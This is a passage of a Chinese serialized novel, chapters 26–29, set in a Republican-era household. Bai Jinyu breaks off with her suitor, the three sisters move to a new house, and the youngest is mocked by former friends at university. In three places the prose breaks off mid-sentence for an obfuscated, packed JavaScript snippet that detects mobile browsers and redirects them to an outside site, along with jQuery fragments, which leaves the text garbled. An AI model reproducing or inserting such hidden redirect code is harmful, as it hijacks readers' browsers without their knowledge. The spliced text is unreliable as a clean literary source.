白瑾瑜点了点头,没有作答,而是吩咐道:“我临时有件急事,现在非走一趟不可。你和瑾璎说一声,让她先去看房子吧,等我办完了事,在那里和她汇合。” 虞妈应了一声,却并不走开,眼含希冀地看着她,似乎是在等她的下一句。 白瑾瑜绷着的肩膀忽的放松了,苦笑着叹了一声,道:“还能怎么办?我总不能学她亲妈那样狠心,真让她睡到马路牙子上。好了,再和瑾璎多说一句,看看新房子有没有留给老三的房间,要是没有,我们就再看别的。” 虞妈立刻答应了一声,那离开的脚步,显然要比来时轻快多了。 26. 第 26 章 华新路上的艾琳咖啡馆,白瑾瑜曾和柳世新来过一次,并且在那里引发一场辩论。 辩论当然不是有意而为之,不过是话赶话聊到那里罢了。当时,柳世新突发感慨道:“想一想结婚以后的生活,丈夫在早晨出门上班,妻子带着两个打扮得整洁体面的孩子去公园里玩耍晒太阳,回家路上买一篮子新鲜蔬菜,以便先生一回家就能吃上热乎乎的炖菜,那真算得上幸福哩。” 自己当时搅拌着杯子里的咖啡,并不以为然,似乎是说了,“如果这位妻子平素的爱好就是晒晒太阳煮煮饭,那倒是不坏。不过我看来么,先生太太一道上班,不要有小孩子,下班后一起约在饭店里放松地吃饭,谈一谈工作上的趣事,不也很好吗?” 柳世新脸上的神态便有一点古怪,尽管他很快又笑了起来,道:“我刚才说的这种情况,不过是普世对于幸福的一种理解罢了。” 白瑾瑜无所谓地笑了一笑,说:“大概是普世对于幸福的一种期望吧。不信你算一算,要有临近公园的一所房子,供养两个小孩,既然妻子要带着孩子逛公园,想必是没有在工作的,除此而外,总要有一个料理家务的老妈子,这样一笔花销可不低,先生们可得加一把劲儿了。” 听她这样说,柳世新就叹了一口气道:“瑾瑜,何必我说什么你都要驳回来呢?这一笔花销再高,总难不倒你我。” 白瑾瑜心道,这哪里是钱的问题,而是两人对幸福一词的看法就不大相同。这世上未必没有不耐烦小孩的女子,也未必没有不爱工作的女子,怎么一进到婚姻的殿堂,就都要做个“普世”的贤妻良母了呢? 这不是为了反驳柳世新,单单只为了阐述自己的看法,仅此而已。 何况柳世新那一声叹息,其用意不同样也是为了堵住自己的话吗? 白瑾瑜顿时大感无趣,也没了谈兴,只耸着肩膀说了一句,“那么,希望那位妻子本身就有不菲的身家吧,不然,等哪一天丈夫想要离婚了,再想要哭,可就来不及了。” 那时的情境大约是这样,如今仔细想一想,他们会走到今日分道扬镳的一步,未必没有提前的预兆。 走进艾琳咖啡馆的时候,柳世新已然在靠窗的位置就座了,看见白瑾瑜在自己对面坐下,很激动地坐正了身体,伸手握了她的手问道:“可算见到你了,你近来怎么样?” 话刚出口,又懊恼地苦笑了一下,“唉,我真问了个傻问题,你一定很不好过的,我看你清减了许多。” 白瑾瑜本来也是瘦了点,今天穿的又是一身黑色的素面旗袍,便加倍显得人纤细轻盈。反观柳世新,精神俊美不变,细看他的脸颊与下颌轮廓,与印象中的样子两相比较,反倒发现他较从前长了肉。 白瑾瑜不说话,只拿一种揶揄的微笑打量着他,这其中的讽刺之意,也就足够人明白了。 柳世新的脸上浮起一片窘色,咬紧了腮帮子隐忍着,好似白瑾瑜意味不明的讽笑刺痛了他,叫他受了屈辱。 片刻后,终于沉痛地开口道:“这段日子我没有联系你,想必你是恨透了我。可你不知道,我是被家里人严格地控制起来了呀!不要说不能出门,连电话机,都有老妈子时刻地把守着,我每日不过被关在屋子里吃饭睡觉,睡也睡不大好,瑾瑜,见不到你,我心焦极了!” 在做这一番真情流露的同时,交握着的手一用力,将白瑾瑜的手拉向自己这一边。 接着道,“你父亲是军务部的总长,他一去世,大概牵涉到许多政治上的党派纠纷,我父母的意思,那是万分凶险的,是以绝不让我去淌这趟浑水。他们的想法自然太过夸张,可态度那样坚决,我这个做儿子的,真能往死里来反抗吗?唉,瑾瑜,我真对你不住,可看在他们是拳拳一片关爱我的份儿上,请你别往心里去。” 说话的同时,那一对深邃多情的眼眸含着希冀,一瞬不瞬地将白瑾瑜望着。 这一刻,白瑾瑜真有些想要发笑:这是生怕得不到谅解,一上来就搬出一个“孝”字压在她头上啊。 只是,她也算是为他伤过心掉过泪了,要是再想不明白,也实在太过愚昧。 白瑾瑜无可无不可地提了提嘴角,说:“人都会想着趋利避害,这没有什么。我那么多的朋友,也不是每一个都来参加葬礼。你要真来了,我固然感念你;你不来,我也很体谅。” 柳世新的脸色一白,急道:“怎么又说到朋友了呢?我们之间是什么关系,你拿朋友来比我吗?” 白瑾瑜的目光放冷,嘴角又挂上那一种揶揄的笑,说:“比一比又何妨?你的作为,哪里比朋友更好呢?”看着对面的人脸上白一阵红一阵,混在一起,成了一种羞恼窘迫的酱色,白瑾瑜竟生出了和上回一般无二的心情,觉得没趣极了。 她不愿再多废话,直白道:“我这一次来,无非也想谈一谈我们的关系。由你刚才的话来看,你父母连电话也不许你打给我一个,可见他们对我是极力反对的,你要做一个孝顺父母的好儿子,这我也赞成。那结果,无非就是牺牲我们的恋爱了,虽然遗憾,也没有更好的法子。” 说着,刚要把自己的手抽回,想不到对面的人握得更紧了,直把她的手握得发疼。 柳世新满脸痛苦不舍的神色,本能地不愿放她离开,低喊着:“不成!不成!未必没有转圜的余地呀,让我和母亲好好说一说——” 柳世新固然是白瑾瑜自己挑选的男友,相貌英俊脾气佳,可越是交往得长久,越发觉出他身上一个要命的缺点来。做事情总是犹豫不决,瞻前顾后,明知道处处受掣肘,还想着要找两全之法。 白瑾瑜是干脆利落的性格,更受不了这样的拖泥带水黏黏糊糊。 反问道:“哪里来的转圜?要是这转圜要用不痛快做代价,那也大可不必。唉,咱们打开天窗说亮话,我猜得到你母亲的态度,她必然是和你说,我没了父亲这个最大的倚仗,家世是大不如前了,不许你上赶着娶我这个无依无靠的孤女,是不是?要是她动作快一点,兴许已经给你安排好相亲的对手方了吧?” 果然,对面柳世新的面皮一红,想必是让她说中了。 在柳世新那一边,事实也确实是如此。柳太太今早还在他耳朵边念叨过:“还好你先前没去见她那个父亲,真是阿弥陀佛!好了,你看看她现在有什么?没了那个总长爸爸,谁还拿她当一回事?”下一秒,那声音又放柔了,“再瞧瞧我儿子这好相貌、好本领,要我说,配真总长的女儿那都是绰绰有余,她那个假的,甭管怎么巴结你,都要赶紧丢开手,听见没有?总之,你要和她结婚,我是绝不同意的!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14262035|151037||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>今时今日,白瑾瑜的家世确实是不比从前了,这一点柳世新同意。只是他心里还是爱恋不舍的,毕竟除开身家不谈,她到底是个极富魅力的美人啊! 另外一点,从前的白瑾瑜矜贵高傲得像是白天鹅一般,往往是由他来哄着让着;如今身份倒转,他真想见一见她会如何的放下身段迁就他呢。和父母僵持至今的原因,也正在于此。 至于主意,他倒是想了一个,此刻堆着笑脸看向白瑾瑜道:“母亲虽然反对我们,但到底受限于老一辈的思想,这正是我们可利用之处呀。我们现在登记结婚,当然不能成功,可要是你怀孕了呢?还能让孩子没有妈妈吗?瑾瑜,我知道这有些委屈你,可你一向是自由洒脱的人,不在意人言的,就算是为了我——” 在他说到“老一辈”时,白瑾瑜便隐隐猜到他想说什么,默默皱起了眉头。 果不其然,越听到后头越是气愤,那一声忍了许久的冷笑,终于还是从口中溢出,冷声打断道:“自由洒脱可不是蠢!柳世新,你干脆地说一句分手,我还佩服你坦诚,好过拿这么个主意来恶心我!” 由那愤怒之下生出的一股力量,硬是将双手从柳世新的手里挣脱开来。 柳世新想错了,白瑾瑜依旧是高抬着颈项的白天鹅,横眉冷对道:“为你居然说得出这一番混账话,我对你几年的感情,全数抛开了都不觉得可惜!呵!难怪老话都说,什么样的娘教养出什么样的儿子,我果然还是年轻,怎么没早看出来,你和你母亲根本也是一丘之貉!” 又说,“你做出这一副痛苦抗争的样子,把自己感动坏了吧?可惜,我要是受你一分的感动,我父亲就是托梦都要来把我骂醒!我如今最庆幸的就是没有领了你去见他,不然,我真是一辈子愧对他!” 白瑾瑜从没在外人面前流露过这样激动的情绪,如今这弹匣子似的一顿教训,连带着迎面逼来的这一股气势,直把柳世新给震慑住了。脸上半是被揭露了居心的恼羞成怒,半是明白彼此之间再无转圜之可能的懊悔错愕。 哑口无言,像吃了一场彻头彻尾的败仗。 另一边,白瑾瑜抿了一口咖啡,倒把情绪缓了过来。 在此之前,她是早已下定了分手的决心,是以柳世新的话虽然气人,回头一想,倒觉得庆幸,恨不得为自己击节鼓掌!这真叫长痛不如短痛,好在断念得早,要不然,不要说脾气性格,就连人格自尊,都要给人家踩平了! 为这一通骂,心口的郁气彻底地扫荡一空,白瑾瑜举着瓷杯子往前一送,竟然还能心平气和地露一个微笑,道:“密斯脱柳,你和令堂,都是志向高远的人,我没有别的话,只祝你们心愿成真了。” 说罢,扬着手唤来服务员,给自己那一杯咖啡会了账,柳世新几次低喊她的名字,她也不理会,径自推开了咖啡馆的玻璃大门。 店外头空气一新,太阳暖融融地悬着,树叶在微风里轻轻地摇动,像极了在和她道“恭喜”。白瑾瑜深吸一口气,仿佛自己丢开了爱情这个包袱,整个人便轻了十倍不止。随手招来街面上一辆人力车,脚下轻松地一蹬,人已坐到了软面的座椅上。 白瑾瑜的心跳微快,在这一跳一坐之间,久违地感受到了生命的活力与希望似的,情不自禁地放出一个微笑:“走,咱们去椿樟路!” 27. 第 27 章 最终的新居,就定在了椿樟路36号一栋三层的小楼。 搬家的那一天是礼拜四,蒋牧城因为公干不能过来,便从公馆拨了几个听差相帮搬送行李。新住所已提前叫人打扫过,等行李搬得差不多了,白瑾瑜便带了两个妹妹慢悠悠地坐车过去。 车窗外,街边的树木店面一溜儿地往后退,原本应该是很适意的风景,白瑾琪却难掩尴尬别扭,两手不停地揉着盖在腿上的纱裙子。 想一想,她如今的处境很难堪哩!陈芳藻带着她那一份财产跑了,等同于她现在就是身无分文,靠两个姐姐接济着过活的小可怜虫,不拘这汽车要把她带去哪里,心里多少有一种寄人篱下之感。 事后仔细一想,没有钱真是万万不行,可不去警察厅不报案的傻话已经对白瑾瑜说出口了,当时信誓旦旦的,如今要她反悔,面子上多么过不去!只能可怜兮兮地求了求白瑾璎,还是请她在报纸上刊登一则寻人启事。 满世界去找一个决心要跑的人,那真如同大海捞针,也只好先从上海的报纸开始登起。照白瑾瑜的话,那是陈芳藻最有可能去的地方了,只是前前后后登了也有近一周的时间,始终没有人来联系,兴许她确实就没有回去上海呢? 唉,这“寄人篱下”的日子,也不知何时是个头。 白瑾琪失落地耷拉着肩膀,偷偷瞧了一眼坐在旁边的白瑾瑜,见她百无聊赖地将目光投向窗外,也瞧不大出是个什么心情。 只是形式比人强,这可是眼下自己最大的靠山了。白瑾琪活到这么大,还真没学过怎么讨好人,扭捏着嘟了嘟嘴,没话找话似的,问:“大姐姐,咱们住的地方叫椿樟路,是因为种了许多椿树樟树吗?” 白瑾瑜扭头瞅了她一眼,对于她这莫名其妙的一问,大概也是一头雾水,很快又把头扭了回去,冷淡道:“我哪儿看得出,又不学植物学。” 她没意识到自己给了旁边的小可怜虫一个软钉子碰,白瑾琪却已然缩了回去,受惊的鹌鹑似的,战战兢兢地紧挨着车门坐着。还是坐在副手座的白瑾璎听见对话徒然中断了,光剩下一片诡异的沉默,忙不迭地扭过头打着圆场道:“是不是椿树樟树倒不知道,不过那里树木确实不少,看着是很舒服的。”才算把这一阵尴尬敷衍过去。 好在距离椿樟路并不远了,汽车又开了近一刻钟,往右手边拐进去,就能看见一小片三层楼式样的建筑群。 这片居民区闹中取静,沿街走上十来分钟就是热闹的商店区,地理位置很不坏,三层高的小楼房又很宽敞,是以住在这里的大多也是家境宽裕的体面人。又或者是由房东挂出租赁广告,把楼梯区域单独隔开,按楼层分开租给就近工作的单身职员或小家庭。 原本白公馆的听差女佣人大多都遣散了,但虞妈是把她们三个带大的老人了,是一定要留下的。此外又新雇了一个叫阿苗的丫鬟负责洗衣洒扫,一个姓吴的老妈子负责买菜烧饭,这就是全部的人员了。 虞妈跟着搬场的听差们先一步到了新家,汽车一在门口停下,她人就迎了出来,帮着拿几个随身携带的装贵重物件的小箱子。 白瑾琪本来小尾巴似的跟在两个姐姐身后,大概是见到了熟悉的虞妈,脚下踏上了实打实的木地板,又加上一楼厨房隐约传来咕嘟咕嘟热水烧开的声响,显得一切都富于日常生活的气氛。她便渐渐放松下来,用好奇的目光四处打量着。 三层楼的房子,因为厨房和电话间都在一楼,故而一楼的两间房间,一间给虞妈,一间给吴妈和阿苗住最为合适,跑腿进出都很方便。 二楼除了居中的小客厅外,另有一间盥洗室和三间房间。两间是卧房,另一间因为略小一些,只能用作书房或杂物间。三楼则是一间自带盥洗室的卧房、洗衣房和很宽敞的露台。别的住户也有把露台四面封顶,当做普通房间来用的,不过白瑾瑜从前对这一处房产也疏于打理,之前看房时觉得房间够用,留着露台晾晒衣服倒也适合,就没有再做改动。 只是三间房间怎么住,又成了一个问题。 照白瑾瑜的意思,当然是她和瑾璎住二楼,像当初在白公馆的时候,她们的房间就是正对门的,再把那间小的改成书房,那就再完美不过。至于白瑾琪,就把她赶去三楼,自由自在的没人管束,还不够她疯玩的吗? 可惜白瑾琪并不这么觉得,嘟着嘴小声地争取道:“我、我闲不住,跑出跑进得多,三楼那么高,多么累人啊。而且我脚步声又重,到时候踩得楼梯咚咚响,你们又要嫌我吵了......” 这当然是原因之一,另一个没有说出来的是,本来两个姐姐的关系就更好,要是这个节骨眼上她搬去了三楼一个人住,真有种被她们俩齐齐丢开手的“发配边疆”之感。 是故无论如何,自己还是在两个姐姐之间掺和一脚为好,多少博取一点存在感,好叫自己不会被忘诸脑后。 白瑾琪可怜兮兮地低着脑袋,知道自己这样拆散人家的做法不地道,也不敢抬头看两人的脸色。 最后,还是白瑾璎让了一步:“好吧,那就我住三楼。我脚步轻,也愿意呆在屋子里,除了上班下班,大概也不常跑动。”又安抚似的拉了拉旁边的白瑾瑜,用玩笑的口气劝道,“你的工作虽然需要在外跑动,但呆在家里办公的时候也不少呀,还是我住楼上的好。瑾琪那种风风火火的性子,着急起来横冲直撞的,是有点闹人。” 那边白瑾琪还在伤春悲秋呢,心想没几天就是开学了,她记得陈姨太拿走的钱里,是含着自己四年的学费的,也不知道大姐姐还会不会让自己继续上学。她从前对读书深恶痛绝,现在倒盼望着能读书了...... 正想着,就听白瑾瑜轻轻啧了一声,对自己发话道:“既然房间都分好了,怎么还不去收拾东西?不是马上就要开学了吗?书包课本都整理好了吗?”这不光是同意她住在二楼,也是示意她可以继续上学了呀! 白瑾琪总算感到一阵久违的振奋,一连应了好几声,忙不迭地去搬自己的东西。 搬家事忙,于是中午便只简单下了顿饺子,不必费事,也能讨个“平安如意交好运”的彩头。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14285403|151037||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 饭桌上,白瑾琪依旧保持着谨小慎微,卖乖讨巧地听两个姐姐的闲谈。话题围绕着白瑾璎前几天刚说的,在首都第三中学找了份洋文老师工作的事。 白瑾瑜对此是有点微词的,说:“你不是一直想去外交部门做翻译员吗?你是京师大学英文专业毕业生里的第一名,凭你的专业成绩,未必不能进呀,何必去当什么洋文老师?要是为了钱,那大可不必,中学老师的薪水才几个钱,你手上的房产收一收租金,也有它好几倍了。” 白瑾璎抿着嘴唇,道:“当然不是为了钱。你不晓得,外交部里人才济济,不要说首席的翻译官,就是普通的翻译员,也绝不会是刚毕业的年轻人,要么有多年的留洋经历,要么办过讲座或出过著作。” 正说到一半,听见外头一阵敲门声,虞妈抢先站起来道:“你们继续吃,我去看看。”转身往玄关处走。 白瑾璎这才接着道,“正好我大学的教授推荐了一个机会,让我协助翻译一部外文名著,尽管是协助,名字一样可以上扉页的,这就给外交部的招聘增加许多筹码了。翻译占不了全部时间,正巧中学的洋文课也不多,顺便积攒一点教学的经验,又额外有一份收入,不也很好吗?” 白瑾瑜一边细嚼慢咽一边听着,见白瑾璎很有自己的计划,也就不再说什么了。 反倒是白瑾琪一副怅怅然的样子,把瓷勺子含了一半在嘴里,心想:连二姐姐都开始自己挣钱了,家里就剩她一个人不事生产,可怎么办呢,她还只是个学生呀。 这时候,虞妈重新走进餐厅,招呼阿苗拿了一包没下锅的生饺子,出去后再回来时,手上则多了一个点心盒子。 白瑾瑜问来的是谁,笑答道:“是住在隔壁的邻居哩,说是姓余,看见咱们这一栋搬了新住户进来,就过来拜访拜访,打个招呼。倒是挺白净精神的一个小伙子。” 虞妈本来也就吃得差不多了,径自端了汤碗去厨房收拾,白瑾琪舀着碗里的饺子汤,也觉得没趣,便借口要预先看看功课,跑回房间去了。 等她一走,白瑾璎便使着眼色,刚要小声说点什么,白瑾瑜默契十足,先就压着声音道:“我晓得,以后在老三面前别提房产财产的,最好连钱也少提,免得她想起她那个狠心的妈,是不是?你刚才在桌子底下踢我那一下,我就知道了。” 白瑾璎笑着点了点头,忽而想起点什么,又劝道:“还有你,平时给小费大手大脚的习惯,也要改改了。” 这里有许多生意上的门道,要是在顶高档的饭店,不给足小费,人家是会看你不起的。繁琐的很,倒不必全讲给白瑾璎听,惹她忧虑。 白瑾瑜只是笑了一笑,说:“我有数。” 而在二楼的房间里,白瑾琪忧愁地伏在床铺上,竟前所未有地期盼着开学的日子快一点到来。至少在学校里还能见着钱瑞芝,她们从前是多么无话不谈呀,不像她如今在家里,连话也不太敢多说。 要是钱瑞芝知道了自己的境遇,一定是能感同身受的吧?唉,这多少也能给自己一点安慰了。 28. 第 28 章 住在椿樟街33号的余白在大京报社上班,他本名余佰,是个上海人,来北京当上报社记者后,三不五时地用余白这个笔名在别家杂志发表几篇戏评影评,久而久之,觉得这个名字既文雅,又富有一种国学的美感,干脆就改叫余白了。 如他这般的,就是很典型的租房住的单身职员了。 椿樟街33号的房东同样住在这里,三口之家不需要那么大的地方,便把一楼单独僻开租赁出去,也好多赚一份租金。 余白刚来北京那会儿,机缘巧合租到这一块宝地,又知道房东俩夫妻有个念寄宿学校的孩子,还暗自想入非非了一阵。他自认是个时髦有见识的男青年,也有份体面工作,设若这孩子是一位千金,岂不是和他相配得很?啊呀,那到时候还分什么你我,直接将隔断取消,一家人住在这大房子里,那不是美哉? 等到某一个周末才知道,原来自己摩拳擦掌等着见的不是位千金,而是位皮得很的少爷,这美梦自然就给戳破了。 不过余白这人八面玲珑,讲话又中听,平日里请他搬个东西寄个信,他也很乐意帮忙,故而和房东一家相处得倒不坏,这就长久地住了下去。 而一周前的礼拜四显然不是个寻常日子,余白那天正好轮休,一清早就听见楼下响起了洋车的引擎声。这地方开洋车的人家不算少,他就这么不经意地往窗外一瞥,好家伙,这气派锃亮的大车可就停在正对门呢! 他抱着多个朋友多条路的心态,当天就去问候了一番,那户人家的太太倒很客气,还回了一包饺子,让他美美享用了一顿晚饭。 余白消息灵通,对隔壁的新住户又抱着关注,一通打听下来,发现新邻居姓白,家里竟有三位年轻漂亮的小姐哩!他当下伸手理了理头发,觉得太长了显得邋遢,还去理发厅剃短了一些。 往回走的路上,心灵便似那蝴蝶一般翩飞起来,脑海里也是浮想联翩。 可恨的是,新邻居的作息叫人摸不透,也不知在没在上班,横竖自己出门或回家的时候,竟一次也没碰上过!没过几天,这热情的劲头又消退了下去。 这一天,余白和往常一样对着镜子梳头,他的一丛刘海又给睡得乱翘,得用手沾了水压一压,再抹一点定型膏才好。 完了百无聊赖地踏出门,正想着经过早点摊子时,是吃个烧饼好还是油条好呢,眼睛无意间一抬,整个人都是精神一振——对面那户人家,正有个漂亮小姐出门来呢! 余白给施了定身咒似的,不错眼地一通打量。只见那小姐穿了上蓝下黑一套的制服,显然还是个学生,若还是读书的年纪,那就是最小的三小姐了。 再看那一头乌黑秀发在脑后梳了两条辫子,转过头时,大眼睛像沁着水的黑葡萄似的,格外精灵动人,和这圆润的桃心脸正是相得益彰,实在也是个小美人呀! 余白激动坏了,整了整领口上去就很亲切地道了声早。那三小姐起先有些吃惊,对自己打量了一眼,想不到随后就露出个甜蜜的微笑来,回了句你先生早后,轻快地跑远了。 啊呀,啊呀!这一瞬间,真像是被爱神射中了金箭,认为这爱情的春天,可算是到来了呀! 白瑾琪可没有想给人带去什么爱情的春天,不过是终于等到了开学,总算可以和同伴诉一诉心里的愁苦,怎能不觉得轻松畅快呢?出门时恰巧撞上邻居对她招呼,人家既然挺友善,那她也回个笑脸罢了。 开学的第一堂课,是全体新生都要参与的开学仪式,在清江大学的大礼堂进行。 白瑾琪摸索着自己搭了电车,她往常车接车送惯了,对于电车的站点时刻表那一套很不熟悉,哪怕提早了十分钟出门,到礼堂时还是有些晚了。好在大课也还未正式开始,她在后排随意挑了个座位,这倒方便了她往前打量,想找一找钱瑞云坐在哪儿。 她自己是教育系的,据她之前的询问,钱瑞云似乎是学财会,也不知道教室相距远不远,平时一道上的公共课多不多。 想到这里,就不得不提及恼人的一点:那个同她颇不对付的程巧书,好巧不巧也进了教育系,不光同校,还是同系!真是孽缘! 白瑾琪不大痛快地皱了皱鼻子,只是下一秒,那表情便不自然地凝在了脸上,同时雀跃的心不住地往下沉。她看见钱瑞云了,就坐在离她五排座位远的右前方,头上还戴着她送的礼物,一个精巧的蕾丝花缎面蝴蝶结,倒是很适合开学典礼这样的隆重场合。 可她旁边坐着的人,不是程巧书是谁?这还不是最紧要的,紧要的是,钱瑞云正和程巧书正有说有笑呢! 白瑾琪坐在后排看得真切,严格说来,倒像是钱瑞云笑脸相迎得更多,程巧书则是一脸矜持的神态,只时不时看向钱瑞云,勾起一点冷淡的微笑,活像是高位者偶有兴致的“赏脸”哩! 一时间,白瑾琪连校长的讲话都听不到了,只觉得两耳嗡嗡作响,胸口似有一把愤怒的火在烧着。 她也不知道自己是在对谁愤怒。气钱瑞云舍下自己“转投”程巧书?可心里又生出为好友开脱的念头:虽说钱瑞云背地里瞧程巧书不起,可好歹是中学时的同班同学,总比别个不认识的人强吧?兴许她是没有找见自己,又是在陌生的环境里,才暂且先找个老相识说说话呢? 她当然也气程巧书:什么嘛,摆出这一幅高高在上的样子,也不知有什么好得意的! 随后念头又是一转:设若钱瑞云真是在和程巧书示好,正好叫她吃吃苦头,看看她那目中无人的傲慢样子,哪一个受得了她?比较过了才知道,还是我待她更好,料想最迟午休之前,她总该来找我了! 开学仪式就在这些闪烁不断的念头之间过去了。 礼拜一的上午都是公共课,几个班级混在一个大教室里上课,白瑾琪也不知怎么的,竟有些下意识地避开程巧书。她突然意识到,如今是不大一样了,自己的父亲去世了,而程巧书的父亲反倒是升了一级,要是她们正面冲突上了,自己应当如何呢? 她突然失了底气。 越是这种时候,就越需要朋友的开解,可偏偏钱瑞云就是不来。她分明知道自己是哪一个系,可白瑾琪在课间时频频地往教室门口望,一直到上午的课都结束了,也不见那一道身影出现。 白瑾琪心里像是扎了一根刺,扰得她心烦意乱。吃午饭时,她终于受不了了,把筷子重重地按在餐盘上,发狠地想:什么钱瑞云什么程巧书,不如统统抛在脑后的好,我还有正事要做呢! 所谓正事,便是清江大学戏剧社团的招新,清江大学的戏剧社团每年都会排演剧目或是舞蹈节目,演得好的时候,还能登上首都剧院,作为公益表演为社会筹集善款呢!这在首都大学之间也是出名的,白瑾琪当初报选这里,也有这一层喜好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14304304|151037||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在里头。 戏剧社团名气大,慕名而来的新生自然也多,招新面试就定在早上的大礼堂,也方便才艺展示时随时上去表演一段。 白瑾琪对于进入戏剧社,可说是十拿九稳,填申请表时便有些小小的自得,心想:到底是学校招牌的社团,除去戏剧社,恐怕也没有别的社团能借得动大礼堂了。 排在后头的几个女学生倒是醉翁之意不在酒,窸窸窣窣咬着耳朵。一个说:“你说的社长是哪一个?到时候可要指给我看。” 另一个低低地笑了两声,“哪儿需要我指,等会儿进去了,最俊俏的那个,指定就是他!我听一个学姐说,原先的社长正好是去年毕业,毕业之前,指名要他做下一任的接班人哩!” 先前的女同学兴奋道:“这样器重他,想必除了长相,他的表演功力,也是极优秀的了?他叫什么名字?” 答道:“叫做郑家树。唉,你不必急,瞧瞧这么长的队伍,我看这次新生选拔至少得办上两天,总能叫你见着他的。”两人于是又发出闷闷的一阵笑。 白瑾琪听了,只觉得这俩人为了社长来参加选拔,想来也不是什么真才实学之辈,这一类人恐怕还不在少数,自己更没有什么可担心的了。她抱着满当当的信心,翩然走进了礼堂,一进去,就看见了已然落座的钱瑞云。 骤然看见好友的脸,白瑾琪根本来不及去回想早上膈应人的那一幕,正要冲她露一个笑脸,定睛一看,才发现她又是坐在程巧书的旁边。 那笑脸怔怔地僵冷下来,心道:同样是在教育系,她晓得去找程巧书,不晓得来找我吗?原来如此,亏我还在傻乎乎地等着她来,她这根本就是背叛我了呀! 与此同时,钱瑞云显然也看见了白瑾琪,她紧接着的做派,真是白瑾琪想也想不到的——钱瑞云抬高眉梢瞥了她一眼,跟着凑近程巧书嘲笑了一句,“瞧,落毛的凤凰来了。” 她甚至没有压低声音,分明就是故意要让白瑾琪听见,不光是她,周围坐得近的学生,势必也都听见了。又因为白瑾琪久久地站着没有坐下,有越来越多的女学生把目光投向这古怪僵持着的三个人,间或有人小声地询问议论,窸窸窣窣的声音利箭一般刺向白瑾琪。 而程巧书微微抬高了下巴,如同真凤凰一般轻蔑地勾着嘴角,哼笑道:“那叫什么凤凰,落毛凤凰不如鸡,还不如一只野鸡呢。” 霎时间,白瑾琪眼眶通红,千言万语堵在胸口,可就是说不出一个字。钱瑞云和程巧书的蔑视并周围人的窃窃私语都像是个巨大的、又越收越紧的绳网,要把她围困其中,当下那一刻,除了逃跑,白瑾琪别无应对之法。 她甚至连下午的课都逃了,咬着牙,一头冲上了往家里开的电车。坐在车上,一想到钱瑞云的奚落,气得手脚都在发抖,可硬是忍耐着没在外头哭鼻子。 回去椿樟街36号的路上,居然又让她碰到了早上的邻居。呵!也不知做的什么行当,大白天还在街区里到处乱窜,还敢觍着笑脸往自己眼前凑! 白瑾琪活像只炸了毛的猫,当即露出尖牙利齿骂道:“走开点!没点眼力见儿吗?!” 那人显然被她的凶悍样子吓懵了,她也顾不上,扭头冲到家门口“砰砰”地拍门,在虞妈开门之后又冲去了客厅。直到坐到了客厅的沙发上,那股委屈才终于找到了宣泄之地似的,哇的大哭出声。 29. 第 29 章 话说这一天,白瑾瑜恰巧没有出门,留在家里盘账。 才过午饭不多久,手上的算盘正是拨得劈啪作响呢,忽听见楼下传来一阵嚎啕的哭声,隔着书房的门板都清晰可闻。 白瑾瑜当下便觉得诧异,心道:瑾璎隔天就要去首都第三中学点卯,今天特意去那一片走走,应该不会那么早回来,瑾琪那个小丫头也上学去了,还有谁会在家里大哭大闹?阿苗吗?等下了楼一察看,那个伏在沙发上嚎个不停的,不是白瑾琪是谁? 虞妈站在沙发旁边,两手交握着,也是一脸苦恼地望着她,说:“这是怎么了呀?进了家门就是一个劲儿的哭,问她怎么回事,也不同我说。” 白瑾瑜听着她嚎哭,只觉得脑袋里嗡嗡作响,真有些心烦。想:这个小烦人精,不给我找点事情就不消停。先前可怜兮兮地盼着要去上学,替她交好了学费,结果呢?半天课还没有上满,又逃学回家来了! 只是看她哭得那么可怜,又不能真的放开了教训一通,白瑾瑜一手按着突突直跳的额角,直如按住自己濒临爆发的脾气,狠狠吐出一口浊气道:“这又怎么了,小祖宗?今天早上不还高高兴兴地去学校的吗?” 白瑾琪倒是搭理她了,耸动着肩膀,从靠垫里抬起一张浸满了眼泪的小脸来,哭哭啼啼地打着噎道:“我再不去学校了......钱瑞云、钱瑞云,她倒去了程巧书那一边——我恨她!” 白瑾琪从前念中学时,嘴里颠来倒去也就那几个名字,白瑾瑜对她那一堆小孩子的破事没甚兴趣,也听得记住了,当下就和脑子里的人物对上了号,嗤笑一声说:“那不是必然的吗?我早同你说过,你那个叫钱瑞云的同学不过是个一起享乐的酒肉朋友,谁有钱有势,她就哄着谁。” 她说话的口气格外的轻描淡写,倒显得恨声恨气的白瑾琪小题大做似的。 白瑾琪直直地望着她,满脸都写着委屈:“我、我这样待她!她倒好,帮着敌人来嘲笑我!”她倒抽了一口气,两串泪珠又滚了出来,“我还有什么脸面去学校......我的脸面,都给她踩在脚底下了!” 说着,悲从中来一般,又捂着脸大哭起来。 